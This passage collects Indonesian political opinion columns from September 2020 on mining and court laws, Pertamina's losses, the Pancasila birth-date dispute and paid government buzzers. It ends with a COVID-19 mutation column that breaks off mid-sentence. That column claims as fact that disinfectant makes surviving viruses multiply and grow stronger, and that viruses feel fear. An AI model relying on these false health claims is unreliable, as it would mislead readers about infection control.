penguasa. Padahal bertentangan dengan UUD 1945 pasal 23 yang didalamnya memuat tentang Bank Sentral dan Independensi BI yang tidak boleh dikendalikan oleh siapapun. Kejahatan Sumber Daya Alam DPR dan Pemerintah ditengah situasi Covid-19 mengesahkan UU Minerba (Mineral dan Batu Bara) Nomor 3 Tahun 2020. Undang-Undang ini merugikan rakyat banyak. Juga mempreteli kewenangan daerah. Hanya menguntungkan oligarki ekonomi, mengaibaikan otoritas tanah adat, dan merusak lingkungan. Mengapa? Ini terkait dengan sentralisasi izin pertambangan dan lain-lain yang ada dalam undang-undang tersebut. Daya rusak UU ini sangat luar biasa. Kejahatan menggunakan UU. Urusan tata kelola sumberdaya alam yang buruk akan semakin bertambah buruk. Korbannya pasti rakyat. Rakyatlah banyak yang akan dirugikan. Contoh BUMN yang mengelola sumber daya alam (BBM) dan bermasalah adalah Pertamina. Sebuah BUMN yang diandalkan, ternyata telah melakukan kesalahan besar yang berdampak pada kerugian triliunan rupiah. Kesalahan besar Pertamina tersebut terjadi karena kepentingan oligarki. Misalnya terjebak dalam beban keuangan Signature Bonus (SB) Blok Rokan Rp. 11,3 triliun. Membeli crude domestic dengan harga mahal Rp 9,25 triliun, sampai biaya bunga akibat kebijakan populis jelang Pilpres 2019 lalu dengan nilai Rp 3 tiriliun. Akibat semua itu Pertamina harus menanggung beban keuangan sekitar Rp 23,55 triliun. Ujungnya Pertamina harus merugi lebih dari Rp 11,13 triliun. Kejahatan Hukum Tata Negara Lagi, pola rezim eksekutif dan legislatif menetapkan Undang-undang secara sembunyi-sembunyi disaat Covid-19. Kali ini tidak kalah bahayanya karena menyangkut tata kelola negara di bidang kekuasaan yudikatif, khususnya soal Mahkamah Konstitusi (MK). Dewan Perwakilan Rakyat dan pemerintah diam-diam telah mengesahkan RUU Mahkamah Konstitusi menjadi undang-undang Mahkamah Konstitusi (UU MK) dalam rapat paripurna DPR pada Selasa, 1 September 2020. Prosesnya berlangsung tertutup tanpa melibatkan partisipasi publik secara luas. UU MK tersebut bermasalah bukan hanya dari segi prosedurnya. Tetapi materinya juga tidak substantif. Tak mendesak dan terlihat sarat kepentingan politik. Buru-buru disahkan saat kebanyakan rakyat sibuk atasi dampak sosial ekonomi akibat Covid-19. Saat rakyat sedang menderita, saat rakyat sedang lapar. Diantara isinya yang bermasalah adalah soal penghapusan periodesasi jabatan, perpanjangan masa jabatan hakim konstitusi hingga usia pensiun 70 tahun, serta masa jabatan ketua dan wakil ketua MK. Ini mirip barter jabatan untuk para hakim MK yang saat ini menjabat. Ini bisa berdampak pada independensi hakim MK dalam memutus perkara dikemudian hari. Sejumlah UU dan RUU bermasalah dari DPR dan pemerintah seperti UU KPK, UU Keuangan Negara untuk Covid-19, UU Minerba serta RUU Omnibuslaw Cipta Kerja yang berpotensi diujikan ke MK akan dengan mudah diputuskan hakim MK demi memuluskan kepentingan oligarki politik dan oligarki ekonomi. Bentuk kejahatan yang sangat luar biasa bahanya untuk keselamatan negara. Kejahatan Politik Kejahatan besar politik juga masih akan terus terjadi, diantaranya soal ngototnya rezim berkuasa untuk mempertahankan Presidential Threshold dalam Undang-Undang Pemilihan Umum, padahal sudah ada Parliamentary Threshold. Oligarki politik dan dinasti politik yang dicontohkan keluarga istana dan dilindungi rezim juga adalah praktik jahat politik Indonesia saat ini yang vulgar dan tak malu-malu turut merusak kualitas demokrasi. Dinamika turunan kejahatan politik juga masih ada dan terus dilakukan rezim. Mulai dari menjerat lawan politik dengan UU ITE, menggunakan uang rakyat puluhan miliar untuk membiayai influencer dan buzzer yang merusak demokrasi. Juga merusak harmoni sosial, hingga praktek korupsi yang masih terus saja dilakukan elit berkuasa saat ini atau bahkan dilindungi elit berkuasa. Jika semua praktek kejahatan pemerintah dan DPR diurai tak akan cukup ditulis dalam narasi artikel yang terbatas ini. Apa yang terjadi, yang saya nilai sebagai kejahatan besar karena korbanya besar yaitu rakyat banyak tersebut secara teoritik semua itu bertentangan dengan prinsip-prinsip negara demokrasi modern. Bertentangan dengan prinsip open government, bertentangan dengan prinsip negara kesejahteraan. Lebih dari itu, bertentangan dengan konstitusi UUD 1945. Bukankah Indonesia sejak berdirinya memilih sebagai negara Republik (res publica, kembali ke kepentingan publik), bukan monarki atau kerajaan. Sejak awal bukankah kita sudah memilih menjadi negara demokrasi modern yang mengutamakan kepentingan publik. Kepentingan rakyat banyak (demos cratos). Kepentingan kebaikan bersama (common good)? Itu semua tertuang dalam pembukaan UUD 1945 secara jelas sebagai tujuan negara. Semua praktik jahat itu, sesungguhnya juga bersumber dari miskinnya moralitas para penyelenggara negara dan anggota parlemen. Moralitas dalam bernegara diabaikan. Etika politik disingkirkan. Kepentingan publik disingkirkan. Padahal ketika para pendiri bangsa ini memilih jalan negara Republik, maknanya negara ini ingin menghadirkan kesejahteraan, demokrasi, keadilan, kemanusiaan, dan harmoni sosial. Saya jadi teringat salah satu filsuf besar Cicero dalam bukunya On the Republic (51 SM) yang ditulis di sebuah gulungan daun lontar bahwa kemerosotan jiwa dan rendahnya moralitas elit politik suatu negara adalah penyumbang utama rusaknya sebuah negara republik. Saatnya Episode gelap Republik? Kejahatan besar sedang terjadi! Penulis adalah Analis Sosial Politik Universitas Negeri Jakarta (UNJ).

Presiden Harus Tanggungjawab Rugi Pertamina Rp 11,33 Triliun

by Dr. Marwan Batubara Jakarta FNN – Rabu 02/09). Situs Pertamina mempublikasikan kerugian Pertamina Semester-1 2020 sebesar U$ 767,92 juta atau sekitar Rp 11,33 triliun, pada kurs Rp. 14.766 per dollar. Dibanding periode sama tahun lalu, perolehan Pertamina ini merupakan kemunduran yang parah. Karena saat itu Pertamina melaporkan keuntungan sebesar U$ 659,96 juta atau setara Rp. 9,7 triliun. Kita maklum jika banyak perusahaan merugi pada masa pandemi korona corona. Kerugian bisa besar atau bisa kecil. Namun ada juga perusahaan migas yang masih untung. Misalnya, Cinopec China, PTT Thailand, Indian Oil Company Ltd., dan Petronas. Untuk kasus Pertamina, kerugian tidak otomatis dapat diterima. Pemerintah harus bertanggungjawab seperti uraian berikut. Pada Rapat Dengar Pendapat (RDP) Komisi VII DPR (26/08/2020), Direktur Keuangan Pertamina Emma Sri Martini mengatakan, ada tiga faktor utama penyebab kerugian Pertamina, yaitu turunnya harga minyak dunia, kurs rupiah terhadap dollar dan permintaan BBM. Harga minyak turun menyebabkan sektor hulu Pertamina merugi. Sedangkan turunnya permintaan akibat korona menyebabkan sektor hilir merugi. Turunnya kurs berdampak pada tambahan beban keuangan, karena fundamental pembukuan Pertamina berdasar dollar. Kita paham bahwa ketiga faktor di atas menjadi sebab ruginya Pertamina. Namun bukan hanya ketiga faktor tersebut yang menjadi penyebab kerugian. Publik harus paham, ada penyebab kerugian lain, yang semuanya berpangkal pada kebijakan pemerintah yang melanggar konstitusi. Melanggar aturan dan prinsip Good Corporate Governance (GCG). Pertama, Pertamina harus membayar signature bonus (SB) Blok Rokan sebesar US$ 784 juta (sekitar Rp 11,3 triliun). Padahal sesuai Pasal 33 UUD 1945, mengelola Blok Rokan menjadi hak mandatory Pertamina. Hal yang lebih runyam lagi, meskipun baru mengoperasikan Rokan Agustus 2021, Pertamina harus membayar SB pada 2018/2019. Untuk itu Pertamina harus menerbitkan surat utang. Seharusnya cadangan blok Rokan diperhitungkan sebagai penyertaan modal negara (PMN), tanpa menerbitkan SB. Berlaku sejak pengelolaan dimulai Pertamina Agustus 2021. Kedua, Pertamina harus membeli minyak mentah (crude) domestik dengan harga Indonesian Crude Price (ICP) lebih mahal sekitar U$ 8 per barel (Banyu Urip) dan U$ 11 per barel (Duri) dibanding ICP crude jenis lain. Hal ini terlihat pada Kepmen ESDM Nomor 79.K/2020 tanggal 1 April 2020. Kepmen ini berlaku untuk ICP Maret 2020. Untuk bulan-bulan lain, antara Januari-Juni 2020, diperkirakan “anomali” perbedaan harga masih sama. Rerata produksi lapangan Banyu Urip sekitar 210.000 barel per hari (bph). Sedangkan lapangan Duri sekitar 170.000 bph. Jika seluruh produksi minyak kedua lapangan dibeli Pertamina, maka nilai “kemahalan” yang harus dibayar Pertamina sekitar Rp. 9,25 triliun Periciannya, asumsi Rp. 14.500 per dolar selama 1 semester itu 180 hari, maka untuk Banyu Urip U$ 8 per barel x 210.000 barel setiap hari x 180 adalah U$ 302,4 juta. Sedangkan untuk Duri U$ 11 per barel x 170.000 barel setiap hari x 180 adalah U$ 336,6 juta. Sehingga nilai “keabnormalan” harga yang harus dibayar Pertamina adalah U$ 302,4 ditambah 336,6 juta adalah U$ 639 juta atau setara Rp 9,25 triliun. Nilai kemahalan atau kerugian Pertamina di atas dihitung atas dasar 100% produksi Banyu Urip dan Duri dibeli oleh Pertamina. Jika diasumsikan biaya cost recovery ditambah nilai bagi hasil (split) rata-rata kontraktor adalah 35% dari total produksi, maka 35% dari nilai kemahalan tersebut adalah Rp 3,24 triliun malah dinikmati oleh asing Chevron di Duri dan Exxon untuk Banyu Urip. Ketiga, Pertamina harus menanggung beban pencitraan politik dalam rangka Pilpres 2019, sehingga harus terlebih dahulu menanggung beban biaya subsidi BBM dan LPG sejak April 2017. Menurut Dirkeu Pertamina Emma Sri Martini pada RDPU Komisi VII DPR, akumulasi tanggungan Pertamina tersebut sebesar Rp 96,5 triliun, ditambah kompensasi Rp 13 triliun subsidi. Total beban kebijakan populis tersebut adalah Rp 109,5 triliun. Utang pemerintah ini memang kelak akan dibayar, tapi jadwalnya tak jelas, terutama karena besarnya defisit APBN akibat pandemi korona. Jika tak segera dilunasi, Pertamina justru terancam gagal bayar atau default. Akibat utang pemerintah Rp 109,5 triliun tak dilunasi, maka Pertamina harus menerbitkan surat utang. Beban surat utang Pertamina sejak 2011 mencapai U$ 12,5 miliar. Khusus untuk 2018-2020, akibat menanggung akumulasi utang pemerintah Rp 109,5 triliun di atas, Pertamina setiap tahun harus menerbitkan bond U$ 750 juta (2018), U$ 1,5 miliar (2019) dan U$ 3 miliar (2020), pada tingkat bunga (kupon) yang berbeda-beda antara 3,65% hingga 6,5%. Total tambahan surat utang Pertamina 2018 hingga 2020 adalah U$ 5,25 miliar. Artinya, dihitung sejak penerbitan surat utang 2018 dan tingkat kupon masing-masing, maka beban bunga (cost of money) yang ditanggung Pertamina akibat kebijakan populis Pilpres 2019 yang menjadikan Pertamina sapi perah adalah sekitar U$ 210 juta atau sekitar Rp 3 triliun. Keempat, selain ketiga faktor penyebab di atas, Pertamina juga harus menanggung beban kebijakan lain berupa public service obligation (PSO) BBM satu harga, PSO over quota LPG 3 kg, pembangunan rumah sakit untuk Covid-19, akuisisi perusahaan Maurel & Prom Prancis yang diperkirakan bernuansa moral hazad. Sesuai UU BUMN No.19/2003 beban PSO harus ditanggung APBN. Keseluruhan beban kebijakan tersebut dapat mencapai triliunan rupiah juga. Hanya dari tiga kebijakan pemerintah yang diurai di atas yaitu, 1). Beban keuangan SB Rokan Rp. 11,3 triliun. 2). Membeli crude domestic mahal Rp. 9,25 triliun dan 3). Biaya bunga akibat kebijakan populis Pilpres 2019 Rp. 3 tiriliun. Pertamina harus menanggung total beban keuangan sekitar Rp. 23,55 triliun. Artinya, jika kebijakan sesuai konstitusi, tidak melanggar aturan dan GCG, maka Pertamina masih untung sekitar triliun Rp12,25 triliun. Rinciannya, total beban keuangan Rp. 23,55 dikurangi rugi Rp. 11,3 riliun. Terkait posisi Ahok sebagai Komut yang masih dihujat publik, karena pemerintah mengangkat Ahok tanpa peduli aturan. Ahok diangkat menjadi Komut dengan melanggar sejumlah ketentuan dalam UU BUMN No.19/2003, Permen BUMN No.02/MBU/02/2015 tentang Persyaratan Pengangkatan Komisaris BUMN, dan Permen BUMN No.01/2011 tentang Penerapan GCG. Karena itu, seperti juga sikap publik, IRESS bersikukuh, Ahok harus segera dilengserkan dari posisi Komut Pertamina. Jika dikaitkan dengan peraturan harga BBM yang berlaku saat ini, pemerintah tak kunjung menurunkan harga BBM, sebenarnya konsumen BBM telah mensubsidi Pertamina minimal Rp 20 triliun. Artinya, rakyat telah menyelamatkan Pertamina dari kerugian yang lebih besar dari rugi Rp 11,3 triliun. Untuk itu IRESS bersama sejumlah tokoh dan aktivis telah mengajukan Somasi kepada Presiden dan Citizen Law Suit kepada Pengadilan Jakarta Pusat menuntut ganti kemahalan harga BBM pada Juni-Juli 2020. Sebagai kesimpulan, kerugian Pertamina sebenarnya terjadi akibat kebijakan pemerintah yang melanggar konstitusi, peraturan dan GCG. Dalam kondisi harga BBM yang tetap tinggi seperti sekarang, Pertamina malah bisa untung Rp 12,25 triliun, jika pelanggaran tidak terjadi. Namun karena berbagai pelanggaran oleh pemerintah, 265 juta rakyat kehilangan kesempatan memperoleh manfaat SDA migas bagi sebesar-besar kemakmuran rakyat. Keuntungan Pertamina hanya dinikmati segelintir orang dalam lingkar kekuasaan. Karena itu, sebagai pemimpin pemerintahan, rakyat wajar menuntut pertangungjawaban Presiden Jokowi. Penulis adalah Direktur Eksekutif Indonesian Resouuces Studies (IRESS).

1 Juni 1945 Hari Lahir “Trisila Dan Ekasila”

by M Rizal Fadillah Jakarta FNN – Rabu (02/09). Klaim hari lahir Pancasila adalah tanggal 1 Juni 1945 masih alot diperdebatkan. Meskipun sudah distempel dengan Keputusan Presiden (Kepres). Masyarakat boleh saja menggungat keabsahan Kepres tentang penetapan Pancasila 1 Juni 1945 ini ke Pengadilan Tata Usaha Negara (PTUN). Biarkan PTUN yang menguji keasahan Kepresnya. Pandangan bahwa hari lahir Pancasila adalah 18 Agustus 1945 jauh lebih kuat. Baik itu alasan hukum maupun politiknya. Tanggal 1 Juni 1945 hanya sekedar pidato Soekarno dan tokoh-tokoh bangsa lainnya pada Sidang BPUPKI semata. Pidoto yang tanpa kesepakatan apapun tentang Pancasila. Yang disepakati justru Pancasila "Piagam Jakarta" 22 Juni 1945 atau finalnya Pancasila 18 Agustus 1945 tersebut. Jika tanggal 1 Juni 945 disebut sebagai hari lahir Pancasila, maka dokumen otentik ini dapat menegaskan dan membuktikan bahwa 1 Juni1945 adalah hari lahir Trisila. Juga kelahiran Ekasila. Hal ini karena, baik Pancasila rumusan 1 Juni 1945 dan rumusan sila-sila Trisila lahirnya pada menit yang sama. Begitu juga dengan Ekasila. Lahirnya di tanggal yang sama. Kepres Nomor 24 Tahun 2016 tersebut sejatinya bukan menetapkan tanggal 1 Juni 1945 sebagai hari lahir Pancasila. Tetapi hari lahir “Trisila dan Ekasila”. Disinilah kita melihat kekacauan dan bahaya ketatanegaraan. Makanya kalau ada kelompok masyarakat yang menggunggat Kepres Nomor 24 Tahun 2016 ini ke PTUN untuk dibatalkan, maka itu sah-sah saja. Trisila adalah sila yang berbau Komunis, atau sekurang-kurangnya Sosialis. Trisila yang berarti "tiga sila" diambil Soekarno dari filosofi kenegaraan Republik Rakyat Tiongkok, yaitu San Min Chu I karya Dr. Sun Yat Sen. Min Tsu (Nasionalisme), Min Chuan (Demokrasi), dan Min Sheng (Sosialisme). Dengan menjadikan sila ketiga "Ketuhanan", maka sosialisme ditempelkan pada kedua sila lainnya yaitu Sosio-Nasionalisme dan Sosio-Demokrasi. Trisila adalah konsepsi negara sosialis yang berpotensial untuk menuju Komunis. Faham Komunis inilah yang ditentang, bahkan dilawan habis-habisan oleh masyarakat, khususnya umat Islam. Tidak bakal ada kompromi. Akar ideologi pengaruh Sun Yat Sen ini diakui sendiri oleh Soekarno sendiri yang mengatakan, "yakinlah bahwa Bung Karno juga seorang Indonesia yang dengan perasaan hormat sehormat-hormatnya, merasa berterimakasih kepada Dr. Sun Yat Sen sampai ke liang kubur". Tanggal 1 Juni 1945 adalah juga hari lahir Ekasila karena "perasan" Soekarno terakhir adalah "Gotong Royong". Inilah yang dimaknai dengan "Communalism" atau mungkin juga "Communism". Kebersamaan tanpa adanya kejelasan batas. Dapat saja "sama rata sama rasa" (the same taste). Dalam pidatonya, Soekarno menyatakan, "gotong royong adalah pembantingan tulang bersama, pemerasan keringat bersama, perjoangan bantu membantu bersama, amal semua buat kepentingan semua, keringat semua buat kebahagiaan semua, ho lopis kuntul baris, buat kepentingan bersam. Itulah gotong royong". Mengingat Pancasila tanggal 1 Juni 1945 saat itu masih terus dibahas dan digodog, maka Pancasila mutlak belum lahir. Berbeda dengan Trisila dan Ekasila yang tidak berlanjut ke pembahasan. Artinya final. Maka keluarlah dan lahirlah. Jadinya tanggal 1 Juni 1945 adalah hari kelahiran Trisila dan Ekasila. Bukan kelahiran Pancasila. Pemerintah harus mencabut Kepres 24 tahun 2016 tentang hari lahir Pancasila. Kepres ini telah membodohi rakyat. Tidak bermakna bagi kepentingan rakyat secara keseluruhan. Hanya memihak pada kelompok atau partai tertentu saja. Kepres ini kemudiannya telah menjadi landasan bagi penyesatan ideologi Pancasila yang sebenarnya. Pancasila tanggal 1 Juni 1945 adalah Pancasila yang invalid. Proses yang belum tuntas. Jika terus diperjuangkan maka menjadi "makar ideologi". Catat dan ingat itu. Penulis adalah Pemerhati Politik dan Kebangsaan.

Tempo Telanjangi Buzzer dan Influencer Istana

by Jusman Dalle Jakarta FNN – Rabu 02/09). Tempo kembali Bikin heboh! Sorotan terhadap buzzer dan influencer berlanjut. Kali ini, bahkan diangkat khusus sebagai cover story. Jadi headline majalah Tempo edisi 31 Agustus-6 September 2020. Dalam investigasi terbarunya, Tempo menguliti pasukan buzzer dan influencer yang dipekerjakan pemerintah. Tempo juga memuat pengakuan salah satu koordinator buzzer yang bergerak menyiapkan suplai konten tulisan. Orksetra pendengung. Demikian judul yang tertulis di sampul Majalah Tempo. Diantara beberapa angle berita yang diangkat Tempo yaitu : *Kakak Sepupu Jokowi, Andi Wibowo disebut memimpin salah satu tim media sosial. **Tim media sosial itu, menyusun narasi untuk menggaungkan satu isu di jagat maya. ***Beberapa isu titipan digaungkan untuk mendapatkan dukungan publik. Pepih Nugraha, jadi narasumber kunci dalam liputan terbaru Tempo tersebut. Pepih banyak bercerita tentang aktivitas tim media sosial pemerintah yang dipimpin oleh Andi Wibowo. Sepupu Jokowi. Pepih juga mengisahkan pertemuannya dengan Andi Wibowo, hingga bagaimana ia direkrut dan bergabung dengan tim tersebut. “Pepih mengaku mendapat bayaran menjadi anggota tim media sosial Jokowi. Sebagian digunakan untuk membayar sejumlah penulis” tulis Majalah Tempo dalam salah satu paragrafnya. Di paragraf lain, Tempo melanjutkan “Pepih mengatakan penulis yang dia himpun dan menggunakan akun anonim inilah yang berfungsi menjadi Buzzer atau pendengung”. Pepih nugraha merupakan sosok yang sudah familiar di kalangan penulis. Khususnya blogger. Pepih adalah jurnalis senior Kompas yang mendirikan platform blogging Kompasiana. Lantas, berapa bayaran menjadi buzzer atau influencer istana? Pepih, menurut laporan Tempo tersebut, tidak menyebutkan jumlahnya. Namun menurut hasil penelitian yang dikutip Tempo dari Oxford University, seorang buzzer atau influencer di Indonesia bisa mendapatkan bayaran dari Rp. 1 juta hingga Rp. 50 juta rupiah. Bahkan bisa lebih. Pengakuan selebritas Ardhito Pramono yang dibayar Rp. 10 juta untuk satu unggahan, sedikit membuka tabir besaran tarif seorang influencer dan buzzer di Indonesia. Ardhito, sempat jadi jadi sorotan. Ketika penyanyi muda itu mengunggah propaganda RUU Omnibus Law Cipta Kerja. Belakangan, Ardhito mengklarifikasi dan mengaku unggahan itu merupakan pesanan. “Saya merasa ditipu”, kilah Ardhito dikutip dari Tempo. Dunia buzzer atau influencer sebetulnya bukan barang baru. Dunia ini diperkenalkan oleh pakar strategi pemasaran, Jay Conard Levinson pada tahun 1984. Lahir dari dunia bisnis. Tepatnya sebagai strategi gerilya pemasaran (guirella marketing). Belakangan, strategi menggunakan buzzer dan influencer diadopsi ke dunia politik. Maka muncullah buzzer dan influencer politik. Mulai populer di Indonesia sejak Pilkada DKI tahun 2012 lalu. Penting untuk memilah buzzer bisnis dan buzzer politik. Pasalnya, stigma buzzer politik kadung kotor. Akibat perilaku aktor-aktornya dan dalangnya. Sementara buzzer dan influencer untuk bisnis, adalah lumrah. Lahir secara otentik tanpa misi manipulatif. Pertanyaan berikutnya, mengapa pemerintah pakai buzzer dan influencer? Padahal mereka punya sumber daya komunikasi yang melimpah. Strukturnya berjenjang. Dari pusat hingga daerah. Apakah resources itu tidak cukup? Ada lima alasan di balik pengerahan buzzer politik oleh pemerintah. Pertama, pemeerintah tidak percaya diri atau merasa inferior terhadap kebijakan publik yang diputuskan. Kedua, pemerintah yakin jika mereka menerapkan kebijakan yang salah. Tidak populis. Menuai penolakan dari masyarakat. Sehingga harus berlindung di balik tangan pihak ketiga. Para influencer yang dianggap punya pengaruh, lalu dikerahkan. Diplot khusus untuk mengkondisikan opini melalui bermacam-macam propaganda. Solah-olah dukungan murni dari masyarakat. Padahal, diseminasi informasi itu sudah dimanipulasi sedemkian rupa. Ketiga, kuasa uang. Menganggap semua bisa dibeli. Uang kini bukan sekadar untuk beli suara dalam pemilu seperti yang diulas pakar politik Burhanudin Muhtadi dalam bukunya. Uang, juga sudah jadi senjata untuk menggiring dan membentuk opini. Uang, dipakai membeli dan memborong pencitraan di tengah ledakan informasi yang semakin buram dan tidak jelas. Uang membuat yang otentik dan yang manipulatif semakin sulit dibedakan. Keempat, karena produk politik yang ditawarkan memang tidak laku. Daya saing dan mutunya rendah, dan amatiran. Bisa juga kelas odong-odong, kaleng-kaleng dan beleng-beleng. Produk politiknya adalah sosok ide-idenya politisi kacangan, yang menggambarkan kebijakan politik dari pemerintah. Kelima, ini alasan yang agak rasional. Menggunakan buzzer dan influencer lebih efektif dan efisien daripada menggunakan media maisntream. Bandingkan dengan beriklan di TV misalnya. Video berdurasi 10 detik harus dibayar ratusan juta hingga miliaran rupiah. tergantung frekuensi penayangan. Itu juga belum tentu bisa mempengaruhi audiens. Namun dengan modal di bawah 100 juta, seorang politisi atau satu institusi pemerintah dapat memperoleh publisitas luas dan terukur dari seorang buzzer dan influencer. Makanya saat membaca laporan ICW bahwa pemerintah mengeluarkan Rp. 90 miliar untuk publisitas digital melalui influencer dan buzzer, saya malah berpikir, itu kok murah banget?. Apalagi budget Rp. 90 miliar tersebut dikeluarkan sejak tahun 2014. Lalu kenapa kita marah? Kenapa publik antipati ketika pemerintah pakai buzzer dan influencer? Meski cost Rp. 90 miliar itu terbilang murah untuk sebuah program komunikasi selama enam tahun. Kemarahan dan sinisme publik, bukan soal besaran APBN yang dikeluarkan. Tteapi akibat dari perilaku dan ulah para buzzer tersebut. Propaganda mereka memecah belah masyarakat. Manipulasi informasi dan penggiringan opini yang dilakukan, berakibat buruk bagi kepentingan bangsa. Bayangkan, pelemahan KPK diglorifikasi sebagai penguatan sistem presidensial. Eksploitasi pekerja oleh korporasi dan perusakan lingkungan digiring seolah menciptakan lapangan kerja. Dasar, argumentasi berakal pendek, picisan dan kacangan. Maka buzzer politik ini lebih mirip pasukan perang yang mencari musuh, ketimbang menjalankan fungsi humas yang mestinya menjadi diplomat. Komunikator di garis depan, seharusnya bersikap ramah kepada audiens. Saya mau memberikan saran kepada para buzzer politik itu. Jika tujuannya untuk berkomunikasi dengan masyarakat, maka ubahlah pola komunikasi yang diterapkan. Gunakan pendekatan public relation. Pakai formula humanis. Berbicara sebagai humas pemerintah dengan narasi afirmatif. Esensi dan filosofi platform digital ini, hadir sebagai saluran komunikasi untuk mengirim informasi jernih. Informasi Tanpa distorsi. Jangan dibolak-balik. Kecuali memang plotnya sudah dipesan pengguna jasa. Bertujuan membangun atmosfer peperangan. Ya, itu pilihan. Yang pasti, kita sama-sama tahu. Banyak bisnis yang bergulir jika terjadi perang. Misalnya, di balik perang melawan terorisme di Timur Tengah, ada agenda perburuan minyak dan bisnis logistik perang. Termasuk bisnis senjata oleh korporasi global. Di balik konflik sektarian pengusiran Rohingnya di Myanmar, ada aktor perusahaan minyak multinasional China (CNPC) yang berburu minyak di Rakhine. Maka dalam perang-perangan ala buzzer dan influencer binaan pemerintah, tentu juga ada agenda yang diemban. Ada pihak-pihak yang diuntungkan. Setidak-tidaknya, jadi ajang panen bagi bisnis buzzer. Maka jangan kebakaran jenggot, jika sepak terjang anda, para buzzer disoroti. Bahkan dikuliti hingga ke jeroan. Seperti investigasi majalah Tempo. Hal itu bagian dari upaya keterbukaan informasi publik. Pertangunggjawaban penggunaan pajak rakyat. APBN yang dipakai membayai aktivitas buzzer. Setiap rupiah APBN harus dipertanggunjawabkan secara konstitusional. Karena anda berperang dan melontarkan peluru komunikasi ke publik pakai APBN. Maka rakyat pasti selalu monitor. Bahkan melawan lebih ganas jika diusik Pahami itu. Penulis adalah Direktur Eksekutif Tali Foundation & Praktisi Ekonomi Digital.

Sinovac Diragukan, Indonesia Malah Terjepit Masuknya Corona D614G

by Mochamad Toha Jakarta FNN - Rabu (01/9). Masih seputar Virus Corona Kode D614G yang beberapa waktu lalu di Filipina dan Malaysia melaporkan temuan virus Corona yang telah bermutasi menjadi 10 kali lebih ganas. Virus ini dikhawatirkan akan masuk ke Indonesia. Dan kekhawatiran ini benar adanya usai Universitas Airlangga mengaku menemukan mutasi ini di beberapa kota besar Indonesia. Bahkan Unair menyebut mutasi serupa juga ditemukan di Surabaya, meskipun data ini masih perlu diteliti lebih jauh. “Indonesia, kalau lihat di Jatim dan Jawa Barat, Indonesia masih sangat terbatas datanya. Masih 21 virus yang sudah disubmit,” ungkap Ahli Biomolekuler Unair, dr Ni Nyoman Tri Puspaningsih, seperti dilansir Kumparan.com, Jum’at (Aug 28, 2020). “Dan mutasinya ditemukan sekitar 8 datanya di Indonesia, di Jabar dan Jatim, dan ditemukan juga di Surabaya mutasi ini,” lanjut Nyoman dalam webinar internasional bertajuk “Ending Pandemics COVID-19: Effort and Challenge”, Jumat (28/8/2020). Menurut Nyoman, mutasi virus ini sebenarnya sudah ditemukan di Eropa sejak Februari 2020. Dan sejak itulah virus SARS-CoV-2 dengan tipe mutasi D614G menjadi yang paling dominan ditemukan di berbagai sampel usap global. Mutasi ini, terletak pada bagian dalam protein yang membentuk spike virus yang berfungsi untuk menembus masuk ke dalam sel tubuh manusia. Mutasi ini akan mengubah asam amino pada posisi 614, dari D (asam aspartat) menjadi G (glisin), sehingga diberi label D614G. “Jadi kami belum tahu mekanismenya persis. Tapi peningkatan mutasinya meluas,” ujar Nyoman, merujuk pada mekanisme penularan dan “cara kerja” baru virus hasil mutasi ini. “Kalian bisa lihat mutasi aslinya di Eropa, banyak mutasi varian virus ini dari Eropa.” Untuk memahaminya, diperlukan penelitian menyeluruh atas semua karakter virus. Namun saat ini Indonesia masih melakukan analisis awal, seperti Unair yang sudah menyerahkan sekitar 6 karakter virus. “Unair sudah submit 6 karakter virus, dua diantaranya karakternya terkait dengan virus di Eropa, dan keduanya termasuk D164G,” ujar Nyoman. “Tapi menariknya salah satu nomor virus ini menarik, karena enggak cuma ada mutasi D164G (di Surabaya).” Karakter Corona Mengapa mutasinya begitu cepat? Perlu diketahui, sifat dasar antibodi, bakteri/virus/hewan, tanaman, dan manusia itu, kalau disakiti, pasti akan melawan, karena untuk mempertahankan keberadaan dirinya. Maka sudah barang tentu, mereka akan melawan semaksimal yang bisa mereka lakukan atau menyerah. Pada saat tersakiti dengan des infektan atau apapun sejenisnya, mereka yang tidak mati (tentu sebagian mati,sebagian hidup) itu membiakkan diri beratus-ratus atau beribu-ribu kali lipat, dibanding kalau tidak disakiti. Padahal konsep yang ada saat ini, corona harus dibunuh dengan antivirus atau antiseptik/des infektan. Naluri virus, yang tidak mati, akan menggandakan diri sebanyak-banyaknya agar eksistensi mereka tetap ada di muka bumi ini. Mereka sebenarnya tidak ingin menyakiti, tetapi setiap ketemu media baru, tangan manusia, itu media asing yang menakutkan bagi mereka, sehingga mereka meriplikasi diri berkali lipat. Pada saat mereka mampu bertahan hidup, tentu saja mereka sudah menjadi lebih kuat, sudah mengenali semua zat yang membunuhnya atau sudah merubah asesoris tubuhnya, sehingga bisa difahami kalau akhirnya sekarang diketahui sudah ada 500 jenis virus corona. Sehingga, menjadi wajar, kalau corona yang tersebar itu: jumlahnya jauh lebih banyak; telah mengalami mutasi genetik; dan lebih kuat. Masalahnya, “siapa yang mempercayainya konsep itu”? Andaikan penglihatan dan pendengaran kita ini dibukakan hijab-nya oleh Allah SWT, bisa berkomunikasi dengan virus itu, bisa memahami sifat mereka, tidak tega menyemprotkan cairan des infektan kepada mereka. Mereka juga menderita. Mereka takut mati, seperti halnya manusia. Bagaimana gemuruhnya di kalangan mereka ketika itu datang. Serupa dengan hebohnya di kalangan manusia sendiri. Tapi sayangnya, siapa yang mempercayai ungkapan ini? Padahal, Covid-19 sudah menelan korban tenaga medis seperti dokter. Setidaknya sudah 100 dokter meninggal dunia sejak wabah Corona melanda Indonesia. Ketua Umum PB IDI dr Daeng M Faqih membenarkan kabar tersebut. “Iya dari laporan terakhir tadi malam yang kami terima sudah mencapai 100 orang (dokter yang meninggal),” bebernya melalui pesan singkat kepada Detikcom, Senin (31/8/2020). Dr. Daeng menyebut data tersebut diterima PB IDI pada Minggu malam (30/8/2020). Kasus Corona di Indonesia pun terus meningkat hingga tembus 3 ribu kasus perhari. Hingga saat ini total sudah ada 172.053 kasus. DKI Jakarta pada Minggu (30/8/2020) melaporkan kasus sebanyak 1.094 kasus. Sebelumnya, Indonesia juga mencatat rekor penambahan kasus harian selama tiga hari berturut-turut. Sabtu (29/8/2020): 3.308 kasus baru dari 28.905 pemeriksaan spesimen yang telah dilakukan. Jumat (28/8/2020): 3.003 kasus baru dari 33.082 pemeriksaan spesimen. Kamis (27/8/2020): 2.719 kasus baru dari 29.663 pemeriksaan spesimen yang dilakukan. Sementara itu Menteri BUMN Erick Thohir sibuk menghitung “untung” jika Sinovac sudah masuk ke Indonesia. Erick menyampaikan, harga vaksin Covid-19 untuk satu orang sekitar 25-30 dolar AS atau Rp 366.500 - Rp 439.800 (kurs Rp 